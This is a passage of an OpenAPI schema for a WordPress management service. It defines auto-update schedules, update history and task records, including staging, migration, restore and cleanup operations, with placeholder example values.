"aU8nK5xR2mL7pQ4vT6hY9bFd", "name": "Weekly production updates", "status": "active", "schedule": "weekly_on_day", "started_at": "2026-03-03T02:30:00Z", "next_update_at": "2026-03-10T02:30:00Z", "scope": { "sites": { "selection": "all" }, "updates": { "wordpress_core": true, "plugins": { "selection": "all", "filenames": [] } } }, "options": { "backup": true, "visual_regression": false }, "created_at": "2026-02-28T10:00:00Z", "updated_at": "2026-02-28T10:00:00Z" }, { "id": "pN3mK7xQ9pL4wJ6vT2hY8bFa", "name": "Monthly theme updates", "status": "paused", "schedule": "monthly_on_date", "started_at": "2026-03-05T03:00:00Z", "next_update_at": "2026-04-05T03:00:00Z", "scope": { "sites": { "selection": "specific", "ids": [ "b7e9d4c2a6f1458c9d0e123456789abc" ] }, "updates": { "wordpress_core": false, "themes": { "selection": "specific", "filenames": [ "twentytwentyfour" ] } } }, "options": { "backup": false, "visual_regression": false }, "created_at": "2026-02-27T09:00:00Z", "updated_at": "2026-02-27T09:30:00Z" } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "AutoUpdateScheduleSitesScopeRequest": { "type": "object", "required": [ "selection" ], "additionalProperties": true, "description": "WordPress sites selected for the schedule.", "properties": { "selection": { "type": "string", "enum": [ "all", "specific" ], "description": "Whether the schedule applies to all sites available to you or only selected sites.", "example": "specific" }, "ids": { "type": "array", "description": "Site IDs to include when `selection` is `specific`. Each ID must identify a site available to you. Omit or send an empty array when `selection` is `all`.", "items": { "type": "string" }, "example": [ "b7e9d4c2a6f1458c9d0e123456789abc" ] } }, "example": { "selection": "specific", "ids": [ "b7e9d4c2a6f1458c9d0e123456789abc" ] } }, "AutoUpdateScheduleUpdateCategoryRequest": { "type": "object", "required": [ "selection" ], "additionalProperties": true, "description": "Plugin or theme update selection.", "properties": { "selection": { "type": "string", "enum": [ "all", "specific" ], "description": "Whether all items in the category or selected filenames should be updated.", "example": "specific" }, "filenames": { "type": "array", "description": "Required and non-empty when `selection` is `specific`; omitted or empty when `selection` is `all`.", "items": { "type": "string" }, "example": [ "akismet/akismet.php" ] } }, "example": { "selection": "specific", "filenames": [ "akismet/akismet.php" ] } }, "AutoUpdateScheduleUpdatesScopeRequest": { "type": "object", "required": [], "minProperties": 1, "additionalProperties": true, "anyOf": [ { "required": [ "plugins" ] }, { "required": [ "themes" ] }, { "required": [ "wordpress_core" ], "properties": { "wordpress_core": { "enum": [ true, "true" ] } } } ], "description": "WordPress update categories selected for the schedule. At least one category must be selected.", "properties": { "wordpress_core": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "description": "Whether WordPress core should be updated.", "example": true }, "plugins": { "$ref": "#/components/schemas/AutoUpdateScheduleUpdateCategoryRequest" }, "themes": { "$ref": "#/components/schemas/AutoUpdateScheduleUpdateCategoryRequest" } }, "example": { "wordpress_core": true, "plugins": { "selection": "all" } } }, "CreateAutoUpdateScheduleRequest": { "type": "object", "required": [ "auto_update_schedule" ], "additionalProperties": true, "description": "Request body for creating an auto update schedule. The body must be wrapped in `auto_update_schedule`.", "properties": { "auto_update_schedule": { "type": "object", "required": [ "name", "schedule", "started_at", "scope" ], "additionalProperties": true, "description": "Auto update schedule fields to create. `name`, `schedule`, `started_at`, and `scope` are required.", "properties": { "name": { "type": "string", "minLength": 1, "maxLength": 255, "description": "Display name for the schedule. Must be nonblank and at most 255 characters.", "example": "Weekly production updates" }, "schedule": { "$ref": "#/components/schemas/AutoUpdateScheduleFrequency" }, "started_at": { "type": "string", "format": "date-time", "description": "First scheduled run time. Must be a future ISO 8601 timestamp.", "example": "2026-03-03T02:30:00Z" }, "scope": { "type": "object", "required": [ "sites", "updates" ], "additionalProperties": true, "description": "Selected sites and update categories for the new schedule.", "properties": { "sites": { "$ref": "#/components/schemas/AutoUpdateScheduleSitesScopeRequest" }, "updates": { "$ref": "#/components/schemas/AutoUpdateScheduleUpdatesScopeRequest" } }, "example": { "sites": { "selection": "all" }, "updates": { "wordpress_core": true, "plugins": { "selection": "all" } } } }, "options": { "type": "object", "required": [], "additionalProperties": true, "description": "Optional backup and visual regression options.", "properties": { "backup": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "default": false, "description": "Whether to take a backup before running scheduled updates.", "example": true }, "visual_regression": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "default": false, "description": "Whether to run visual regression checks around scheduled updates.", "example": false } }, "example": { "backup": true, "visual_regression": false } } } } }, "example": { "auto_update_schedule": { "name": "Weekly production updates", "schedule": "weekly_on_day", "started_at": "2026-03-03T02:30:00Z", "scope": { "sites": { "selection": "all" }, "updates": { "wordpress_core": true, "plugins": { "selection": "all" } } }, "options": { "backup": true, "visual_regression": false } } } }, "AutoUpdateScheduleResponse": { "type": "object", "required": [ "auto_update_schedule" ], "description": "Response envelope for one auto update schedule.", "properties": { "auto_update_schedule": { "$ref": "#/components/schemas/AutoUpdateSchedule" } }, "example": { "auto_update_schedule": { "id": "aU8nK5xR2mL7pQ4vT6hY9bFd", "name": "Weekly production updates", "status": "active", "schedule": "weekly_on_day", "started_at": "2026-03-03T02:30:00Z", "next_update_at": "2026-03-10T02:30:00Z", "scope": { "sites": { "selection": "specific", "ids": [ "b7e9d4c2a6f1458c9d0e123456789abc" ] }, "updates": { "wordpress_core": true, "plugins": { "selection": "all", "filenames": [] } } }, "options": { "backup": true, "visual_regression": false }, "created_at": "2026-02-28T10:00:00Z", "updated_at": "2026-02-28T10:00:00Z" } } }, "UpdateAutoUpdateScheduleRequest": { "type": "object", "required": [ "auto_update_schedule" ], "additionalProperties": true, "description": "Request body for updating an auto update schedule. The body must be wrapped in `auto_update_schedule`.", "properties": { "auto_update_schedule": { "type": "object", "required": [], "minProperties": 1, "additionalProperties": true, "anyOf": [ { "required": [ "name" ] }, { "required": [ "schedule" ] }, { "required": [ "started_at" ] }, { "required": [ "scope" ] }, { "required": [ "options" ] } ], "not": { "properties": { "status": {} }, "required": [ "status" ] }, "description": "Editable auto update schedule fields. At least one editable field is required; use `enable` or `disable` to change `status`.", "properties": { "name": { "type": "string", "minLength": 1, "maxLength": 255, "description": "Display name for the schedule. Must be nonblank and at most 255 characters.", "example": "Weekly production updates" }, "schedule": { "$ref": "#/components/schemas/AutoUpdateScheduleFrequency" }, "started_at": { "type": "string", "format": "date-time", "description": "First scheduled run time. Must be a future ISO 8601 timestamp; updating it also resets `next_update_at`.", "example": "2026-03-03T02:30:00Z" }, "scope": { "type": "object", "required": [], "minProperties": 1, "additionalProperties": true, "anyOf": [ { "required": [ "sites" ] }, { "required": [ "updates" ] } ], "description": "Site or update-category changes. When `updates` is sent, it replaces the full desired update category set.", "properties": { "sites": { "$ref": "#/components/schemas/AutoUpdateScheduleSitesScopeRequest" }, "updates": { "$ref": "#/components/schemas/AutoUpdateScheduleUpdatesScopeRequest" } }, "example": { "updates": { "wordpress_core": false, "themes": { "selection": "specific", "filenames": [ "twentytwentyfour" ] } } } }, "options": { "type": "object", "required": [], "additionalProperties": true, "anyOf": [ { "required": [ "backup" ] }, { "required": [ "visual_regression" ] } ], "description": "Backup and visual regression options to change.", "properties": { "backup": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "default": false, "description": "Whether to take a backup before running scheduled updates.", "example": true }, "visual_regression": { "oneOf": [ { "type": "boolean" }, { "type": "string", "enum": [ "true", "false" ] } ], "default": false, "description": "Whether to run visual regression checks around scheduled updates.", "example": false } }, "example": { "backup": true } } } } }, "example": { "auto_update_schedule": { "name": "Weekly production updates" } } }, "ListAutoUpdateHistorySort": { "type": "string", "default": "performed_on,desc", "description": "Sort order for returned auto update history entries.", "example": "performed_on,desc" }, "ListAutoUpdateHistoryFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned auto update history entries.", "properties": { "auto_update_schedule_id:eq": { "$ref": "#/components/schemas/AutoUpdateScheduleId", "description": "Auto update schedule ID to match.", "example": "aU8nK5xR2mL7pQ4vT6hY9bFd" }, "auto_update_schedule_id:in": { "type": "array", "description": "Auto update schedule IDs to match.", "items": { "$ref": "#/components/schemas/AutoUpdateScheduleId" }, "example": [ "aU8nK5xR2mL7pQ4vT6hY9bFd" ] }, "auto_update_schedule_name:contains": { "type": "string", "description": "Match auto update history entries whose schedule name contains this value.", "example": "Weekly" }, "status:eq": { "type": "string", "description": "Run status to match. Supported values for matching are `initializing`, `running`, `completed`, `cancelled`, `failed`, `aborted`, and `no_updates`.", "example": "completed" }, "status:in": { "type": "array", "description": "Run statuses to match. Supported values for matching are `initializing`, `running`, `completed`, `cancelled`, `failed`, `aborted`, and `no_updates`.", "items": { "type": "string" }, "example": [ "completed", "no_updates" ] }, "performed_on:gte": { "type": "string", "format": "date-time", "description": "Return entries performed at or after this timestamp.", "example": "2026-03-01T00:00:00Z" }, "performed_on:lte": { "type": "string", "format": "date-time", "description": "Return entries performed at or before this timestamp.", "example": "2026-03-31T23:59:59Z" } } }, "ListAutoUpdateHistoryResponse": { "type": "object", "required": [ "auto_update_history", "meta" ], "description": "Paginated response envelope for auto update history entries.", "properties": { "auto_update_history": { "type": "array", "description": "Auto update history entries in your account.", "items": { "type": "object", "required": [ "auto_update_schedule", "performed_on", "task_id", "status", "sites" ], "description": "One auto update history entry for a scheduled WordPress update run.", "properties": { "auto_update_schedule": { "type": "object", "required": [ "id", "name" ], "description": "Auto update schedule that started the run.", "properties": { "id": { "$ref": "#/components/schemas/AutoUpdateScheduleId" }, "name": { "type": "string", "description": "Current display name for the schedule.", "example": "Weekly production updates" } } }, "performed_on": { "type": "string", "format": "date-time", "description": "Time when the run was added to history.", "example": "2026-03-10T02:30:00Z" }, "task_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Update task ID when an update task was created; `null` for `no_updates` entries.", "example": "vT8nK5xR2mL7pQ4vT6hY9bFd" }, "status": { "type": "string", "enum": [ "initializing", "running", "completed", "cancelled", "failed", "aborted", "no_updates", "no_action_required" ], "description": "Run status. `no_updates` means no update task was created; `no_action_required` means the task did not require a site update action.", "example": "completed" }, "sites": { "type": "array", "description": "Sites available to you that have WordPress update details for the task.", "items": { "type": "object", "required": [ "id", "wp" ], "properties": { "id": { "$ref": "#/components/schemas/SiteId" }, "wp": { "type": "object", "required": [ "core", "plugins", "themes" ], "description": "WordPress core, plugin, and theme update details for one site.", "properties": { "core": { "oneOf": [ { "type": "object", "required": [ "current_version", "target_version" ] }, { "type": "null" } ], "description": "WordPress core update details, or null when core was not part of this run.", "properties": { "current_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "WordPress core version detected before the scheduled update.", "example": "6.4.2" }, "target_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "WordPress core version the scheduled update attempted to install.", "example": "6.4.3" } } }, "plugins": { "type": "array", "description": "Plugins updated on the site.", "items": { "type": "object", "required": [ "name", "slug", "filename", "current_version", "target_version" ], "properties": { "name": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Plugin display name.", "example": "Akismet Anti-Spam" }, "slug": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Plugin slug when available.", "example": "akismet" }, "filename": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Plugin filename used for the update.", "example": "akismet/akismet.php" }, "current_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Plugin version detected before the scheduled update.", "example": "5.3.1" }, "target_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Plugin version the scheduled update attempted to install.", "example": "5.3.3" } } } }, "themes": { "type": "array", "description": "Themes updated on the site.", "items": { "type": "object", "required": [ "name", "slug", "filename", "current_version", "target_version" ], "properties": { "name": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Theme display name.", "example": "Twenty Twenty-Four" }, "slug": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Theme slug when available.", "example": "twentytwentyfour" }, "filename": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Theme filename used for the update.", "example": "twentytwentyfour" }, "current_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Theme version detected before the scheduled update.", "example": "1.0" }, "target_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Theme version the scheduled update attempted to install.", "example": "1.1" } } } } } } } } } }, "example": { "auto_update_schedule": { "id": "aU8nK5xR2mL7pQ4vT6hY9bFd", "name": "Weekly production updates" }, "performed_on": "2026-03-10T02:30:00Z", "task_id": "vT8nK5xR2mL7pQ4vT6hY9bFd", "status": "completed", "sites": [ { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "wp": { "core": { "current_version": "6.4.2", "target_version": "6.4.3" }, "plugins": [ { "name": "Akismet Anti-Spam", "slug": "akismet", "filename": "akismet/akismet.php", "current_version": "5.3.1", "target_version": "5.3.3" } ], "themes": [] } } ] } } }, "meta": { "type": "object", "required": [ "pagination" ], "description": "Pagination metadata for this auto update history list response.", "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } }, "example": { "auto_update_history": [ { "auto_update_schedule": { "id": "aU8nK5xR2mL7pQ4vT6hY9bFd", "name": "Weekly production updates" }, "performed_on": "2026-03-10T02:30:00Z", "task_id": "vT8nK5xR2mL7pQ4vT6hY9bFd", "status": "completed", "sites": [ { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "wp": { "core": { "current_version": "6.4.2", "target_version": "6.4.3" }, "plugins": [ { "name": "Akismet Anti-Spam", "slug": "akismet", "filename": "akismet/akismet.php", "current_version": "5.3.1", "target_version": "5.3.3" } ], "themes": [ { "name": "Twenty Twenty-Four", "slug": "twentytwentyfour", "filename": "twentytwentyfour", "current_version": "1.0", "target_version": "1.1" } ] } } ] }, { "auto_update_schedule": { "id": "aU3mK7xN9pL4wJ6vQ2hY8bFa", "name": "Theme patch window" }, "performed_on": "2026-03-09T04:00:00Z", "task_id": null, "status": "no_updates", "sites": [] } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } } }, "ListTasksSort": { "type": "string", "default": "created_at,desc", "description": "Sort order for returned tasks.", "example": "created_at,desc" }, "ListTasksFilters": { "type": "object", "required": [], "additionalProperties": true, "description": "Filters applied to returned tasks.", "properties": { "status:eq": { "type": "string", "description": "Task status to match.", "example": "running" }, "type:eq": { "type": "string", "description": "Task type to match.", "example": "wp_site_update" }, "created_at:gte": { "type": "string", "format": "date-time", "description": "Return tasks created at or after this timestamp.", "example": "2026-02-01T00:00:00Z" }, "created_at:lte": { "type": "string", "format": "date-time", "description": "Return tasks created at or before this timestamp.", "example": "2026-03-01T00:00:00Z" }, "updated_at:gte": { "type": "string", "format": "date-time", "description": "Return tasks updated at or after this timestamp.", "example": "2026-02-01T00:00:00Z" }, "updated_at:lte": { "type": "string", "format": "date-time", "description": "Return tasks updated at or before this timestamp.", "example": "2026-03-01T00:00:00Z" } }, "example": { "status:eq": "running", "type:eq": "wp_site_update" } }, "TaskStatus": { "type": "string", "description": "Current task status.", "enum": [ "initializing", "running", "completed", "cancelled", "failed", "aborted" ], "example": "running" }, "TaskType": { "type": "string", "description": "Task type returned in task responses. The list endpoint separately documents which values can be used with the `type:eq` filter.", "enum": [ "wp_plugin_activate", "wp_plugin_deactivate", "wp_plugin_delete", "wp_plugin_install", "wp_site_update", "wp_theme_activate", "wp_theme_delete", "wp_theme_install", "wp_user_password_change", "wp_user_role_change", "wp_user_delete", "wp_user_create", "wp_theme_upload", "wp_plugin_upload", "wp_core_db_upgrade", "wp_plugin_db_upgrade", "manage", "autoupdate", "staging", "test_restore", "download_staging", "configure_staging_site", "migrate", "restore", "download", "upload", "sitesdiff", "mergesites", "report", "securesite", "settingop", "hackcleanup", "speed", "refresh_forms", "wp_test" ], "example": "wp_site_update" }, "TaskSiteProgressMetrics": { "type": "object", "description": "Site completion counts for a task.", "required": [ "done", "total" ], "example": { "done": 0, "total": 1 }, "properties": { "done": { "type": "integer", "description": "Number of sites completed for this task.", "example": 0 }, "total": { "type": "integer", "description": "Total number of sites included in this task.", "example": 1 } } }, "TaskProgress": { "type": "object", "description": "Overall task progress.", "required": [ "percent", "metrics" ], "example": { "percent": 40, "metrics": { "sites": { "done": 0, "total": 1 } } }, "properties": { "percent": { "type": "integer", "description": "Overall task completion percentage.", "example": 40 }, "metrics": { "type": "object", "description": "Task progress metrics.", "required": [ "sites" ], "properties": { "sites": { "description": "Site completion counts for the task.", "$ref": "#/components/schemas/TaskSiteProgressMetrics" } } } } }, "TaskWordPressItemInput": { "type": "object", "description": "WordPress plugin, theme, or core item included in a task.", "required": [], "example": { "name": "Contact Form", "current_version": "5.8.1", "target_version": "5.9.0", "slug": "contact-form", "filename": "contact-form/plugin.php" }, "properties": { "name": { "type": "string", "description": "Display name for the WordPress item.", "example": "Contact Form" }, "current_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Installed version before the task started.", "example": "5.8.1" }, "target_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Target version requested by the task.", "example": "5.9.0" }, "slug": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "WordPress slug for the item when available.", "example": "contact-form" }, "filename": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Plugin or theme file name when available.", "example": "contact-form/plugin.php" }, "template": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Theme template when available.", "example": "twentytwentysix" } } }, "TaskWordPressUserInput": { "type": "object", "description": "WordPress user included in a management task.", "required": [], "example": { "username": "editor", "email": "editor@example.com", "role": "editor", "first_name": "Avery", "last_name": "Stone" }, "properties": { "username": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "WordPress username when available.", "example": "editor" }, "email": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "WordPress user email when available.", "example": "editor@example.com" }, "role": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "WordPress role used by the task.", "example": "editor" }, "wp_object_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "WordPress user ID used by the task.", "example": "42" }, "assign_to": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "WordPress user ID that receives reassigned content when available.", "example": "43" }, "delete_content": { "oneOf": [ { "type": "boolean" }, { "type": "null" } ], "description": "Whether content is deleted with the WordPress user.", "example": true }, "first_name": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "First name for the WordPress user when available.", "example": "Avery" }, "last_name": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Last name for the WordPress user when available.", "example": "Stone" } } }, "TaskSiteInput": { "type": "object", "description": "Site-level input details shown for a task.", "required": [ "id" ], "example": { "id": "9bf3c2e7", "options": { "backup": true, "visual_regression": false, "sandbox": false }, "plugins": [ { "name": "Contact Form", "current_version": "5.8.1", "target_version": "5.9.0", "slug": "contact-form", "filename": "contact-form/plugin.php" } ] }, "properties": { "id": { "type": "string", "description": "Site ID associated with this task input.", "example": "9bf3c2e7" }, "site_url": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Site URL when available.", "example": "https://www.example.com" }, "snapshot_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Snapshot ID used by the task when available.", "example": "65a8f4c2d1b3e7f9a0c5d8e2" }, "snapshot_timestamp": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the selected snapshot was created.", "example": "2026-02-25T08:45:00.000Z" }, "destination_url": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Destination URL used by migration tasks when available.", "example": "https://destination.example.com" }, "staging_site_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Staging site ID when available.", "example": "stg_7d3f8a2e" }, "staging_site_url": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Staging site URL when available.", "example": "https://staging.example.com" }, "hack_cleanup_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Site cleanup run ID when available.", "example": "hc_7d3f8a2e" }, "setting_op_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Site setting change ID when available.", "example": "489" }, "operation_category": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Site setting change type when available.", "example": "enable_wp_2fa" }, "start_date": { "oneOf": [ { "type": "string", "format": "date" }, { "type": "null" } ], "description": "Report start date when the task creates a report.", "example": "2026-02-01" }, "end_date": { "oneOf": [ { "type": "string", "format": "date" }, { "type": "null" } ], "description": "Report end date when the task creates a report.", "example": "2026-02-21" }, "timezone": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Report timezone name when the task creates a report.", "example": "UTC" }, "report_category": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Report category when the task creates a report.", "example": "pdf" }, "connection": { "type": "object", "description": "Connection details used by restore or migration tasks.", "properties": { "type": { "type": "string", "description": "Connection type.", "example": "sftp" }, "host": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Connection host when available." }, "port": { "oneOf": [ { "type": "integer" }, { "type": "null" } ], "description": "Connection port when available." }, "username": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Connection username when available." }, "path": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Destination path when available." } } }, "scope": { "type": "object", "description": "Files and database scope used by restore, download, upload, or migration tasks.", "properties": { "files": { "type": "object", "properties": { "include_all": { "type": "boolean", "description": "Whether all files are included." }, "selected_files": { "type": "array", "description": "Selected file paths when only specific files are included.", "items": { "type": "string" } } } }, "tables": { "type": "object", "properties": { "include_all": { "type": "boolean", "description": "Whether all database tables are included." }, "selected_tables": { "type": "array", "description": "Selected database tables when only specific tables are included.", "items": { "type": "string" } } } } } }, "user_configuration": { "type": "object", "description": "User-selected configuration used by the task.", "properties": { "preserve_permissions": { "type": "boolean", "description": "Whether file permissions are preserved." }, "real_time_events": { "type": "object", "description": "Real-time event capture options.", "properties": { "enabled": { "type": "boolean", "description": "Whether real-time event capture is enabled." }, "timestamp": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Real-time event capture timestamp when available.", "example": "2026-01-10T09:00:00Z" } } }, "retain_latest_content": { "type": "object", "description": "Latest content retention options.", "properties": { "posts": { "type": "boolean", "description": "Whether latest posts are retained." }, "woocommerce_orders": { "type": "boolean", "description": "Whether latest WooCommerce orders are retained." } } }, "site_name": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Staging site name when available." }, "php_version": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "PHP version selected for a staging task when available." }, "category": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Staging site category when available." }, "include_files": { "oneOf": [ { "type": "boolean" }, { "type": "null" } ], "description": "Whether files are included in a staging download." }, "include_db": { "oneOf": [ { "type": "boolean" }, { "type": "null" } ], "description": "Whether the database is included in a staging download." }, "update_security_keys": { "oneOf": [ { "type": "boolean" }, { "type": "null" } ], "description": "Whether security keys are updated during cleanup." }, "reset_password": { "oneOf": [ { "type": "boolean" }, { "type": "null" } ], "description": "Whether WordPress user passwords are reset during cleanup." }, "password_reset_user_types": { "oneOf": [ { "type": "array", "items": { "type": "string" } }, { "type": "null" } ], "description": "WordPress user roles selected for password reset." }, "clear_cache": { "oneOf": [ { "type": "boolean" }, { "type": "null" } ], "description": "Whether cache is cleared during cleanup." } } }, "options": { "type": "object", "description": "Management task options selected for the site.", "properties": { "backup": { "type": "boolean", "description": "Whether a backup is taken before the management task." }, "visual_regression": { "type": "boolean", "description": "Whether visual regression checks are enabled." }, "sandbox": { "type": "boolean", "description": "Whether the task uses a temporary test environment." }, "sandbox_type": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Temporary test environment type when available." }, "sandbox_url": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Temporary test environment URL when available." } } }, "plugins": { "type": "array", "description": "WordPress plugins included in the task.", "items": { "$ref": "#/components/schemas/TaskWordPressItemInput" } }, "themes": { "type": "array", "description": "WordPress themes included in the task.", "items": { "$ref": "#/components/schemas/TaskWordPressItemInput" } }, "core": { "description": "WordPress core item included in the task.", "$ref": "#/components/schemas/TaskWordPressItemInput" }, "wp_users": { "type": "array", "description": "WordPress users included in the task.", "items": { "$ref": "#/components/schemas/TaskWordPressUserInput" } } } }, "TaskInput": { "oneOf": [ { "type": "object" }, { "type": "null" } ], "description": "Input details shown for a task when available.", "required": [ "sites" ], "example": { "sites": [ { "id": "9bf3c2e7", "options": { "backup": true, "visual_regression": false, "sandbox": false }, "plugins": [ { "name": "Contact Form", "current_version": "5.8.1", "target_version": "5.9.0", "slug": "contact-form", "filename": "contact-form/plugin.php" } ] } ] }, "properties": { "sites": { "type": "array", "description": "Sites included in the task.", "items": { "$ref": "#/components/schemas/TaskSiteInput" } }, "is_auto_update": { "oneOf": [ { "type": "boolean" }, { "type": "null" } ], "description": "Present and true when this task was started by an auto-update schedule.", "example": true }, "auto_update_schedule_id": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Auto-update schedule ID when `is_auto_update` is true.", "example": "aU7nK4xQ2" } } }, "TaskSummary": { "type": "object", "description": "Task summary returned in task lists. A task summary includes status, type, progress, and request details when available.", "required": [ "id", "status", "type", "created_at", "updated_at", "progress", "input" ], "example": { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "running", "type": "wp_site_update", "created_at": "2026-02-26T10:00:00Z", "updated_at": "2026-02-26T10:05:00Z", "progress": { "percent": 40, "metrics": { "sites": { "done": 0, "total": 1 } } }, "input": { "sites": [ { "id": "9bf3c2e7", "options": { "backup": true, "visual_regression": false, "sandbox": false } } ] } }, "properties": { "id": { "type": "string", "description": "Task ID.", "example": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" }, "status": { "$ref": "#/components/schemas/TaskStatus" }, "type": { "$ref": "#/components/schemas/TaskType" }, "created_at": { "type": "string", "format": "date-time", "description": "Time when the task was created.", "example": "2026-02-26T10:00:00Z" }, "updated_at": { "type": "string", "format": "date-time", "description": "Time when the task was last updated.", "example": "2026-02-26T10:05:00Z" }, "progress": { "description": "Overall progress for this task.", "$ref": "#/components/schemas/TaskProgress" }, "input": { "description": "Request details shown for this task when available.", "$ref": "#/components/schemas/TaskInput" } } }, "ListTasksResponse": { "type": "object", "description": "Paginated response envelope for tasks.", "required": [ "tasks", "meta" ], "example": { "tasks": [ { "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a", "status": "running", "type": "wp_site_update", "created_at": "2026-02-26T10:00:00Z", "updated_at": "2026-02-26T10:05:00Z", "progress": { "percent": 40, "metrics": { "sites": { "done": 0, "total": 1 } } }, "input": { "sites": [ { "id": "9bf3c2e7", "options": { "backup": true, "visual_regression": false, "sandbox": false } } ] } }, { "id": "8c4a1b6e5d9f3027a4b8c1d6e7f9023a", "status": "completed", "type": "staging", "created_at": "2026-02-25T09:00:00Z", "updated_at": "2026-02-25T09:20:00Z", "progress": { "percent": 100, "metrics": { "sites": { "done": 1, "total": 1 } } }, "input": { "sites": [ { "id": "4cd9a8b1", "site_url": "https://www.example.net", "user_configuration": { "site_name": "Store staging", "php_version": "8.1", "category": "staging" }, "snapshot_id": "65a8f4c2d1b3e7f9a0c5d8e2", "snapshot_timestamp": "2026-02-25T08:45:00.000Z" } ] } } ], "meta": { "pagination": { "page": 1, "perPage": 100, "totalPages": 1, "totalItems": 2 } } }, "properties": { "tasks": { "type": "array", "description": "Tasks on this page.", "items": { "$ref": "#/components/schemas/TaskSummary" } }, "meta": { "type": "object", "description": "Pagination metadata for this list response.", "required": [ "pagination" ], "properties": { "pagination": { "$ref": "#/components/schemas/PaginationMetadata" } } } } }, "TaskId": { "type": "string", "description": "Task ID.", "example": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a" }, "TaskStepType": { "type": "string", "description": "Step type for a site-level task step.", "enum": [ "snapshot", "pre_snapshot", "post_snapshot", "visual_regression", "update_core", "update_core_db", "update_plugin", "update_plugin_db", "update_theme", "activate_plugin", "deactivate_plugin", "delete_plugin", "install_plugin", "deactivate_delete_plugin", "activate_theme", "delete_theme", "install_theme", "change_user_password", "change_user_role", "delete_user", "add_user", "upload_theme", "upload_plugin", "finalize_manage", "purge_cache", "report", "initializing", "pre_restore_backup", "decrypting_data", "copying_files", "copying_db", "compressing_backup", "uploading", "finalizing", "build_staging", "populate_staging_data", "initialize_staging_site", "copy_staging_data", "finalize_staging_site", "download_staging", "configure_staging_site", "scanning_files", "cleaning_files", "decrypting_database", "cleaning_database", "execute_settingop" ], "example": "update_plugin" }, "TaskStepDetails": { "type": "object", "description": "Step-specific details. Returned keys depend on the step `type`; empty details mean the step has no additional details.", "required": [], "additionalProperties": true, "example": { "name": "Contact Form", "current_version": "5.8.1", "target_version": "5.9.0", "slug": "contact-form" } }, "TaskStepProgress": { "type": "object", "description": "Progress returned for one task step.", "required": [ "percent" ], "example": { "percent": 40 }, "properties": { "percent": { "type": "integer", "description": "Step completion percentage.", "example": 40 } } }, "TaskStepError": { "type": "object", "description": "Error returned for a failed task step. Empty details mean no step error is present.", "required": [], "example": {}, "properties": { "message": { "type": "string", "description": "Error message returned when the step fails.", "example": "Operation failed" } } }, "TaskStep": { "type": "object", "description": "Step-level progress for a site in a task.", "required": [ "type", "status", "details", "progress", "error" ], "example": { "type": "update_plugin", "status": "running", "details": { "name": "Contact Form", "current_version": "5.8.1", "target_version": "5.9.0", "slug": "contact-form" }, "progress": { "percent": 40 }, "error": {} }, "properties": { "type": { "$ref": "#/components/schemas/TaskStepType" }, "status": { "type": "string", "description": "Current step status.", "enum": [ "initializing", "running", "completed", "cancelled", 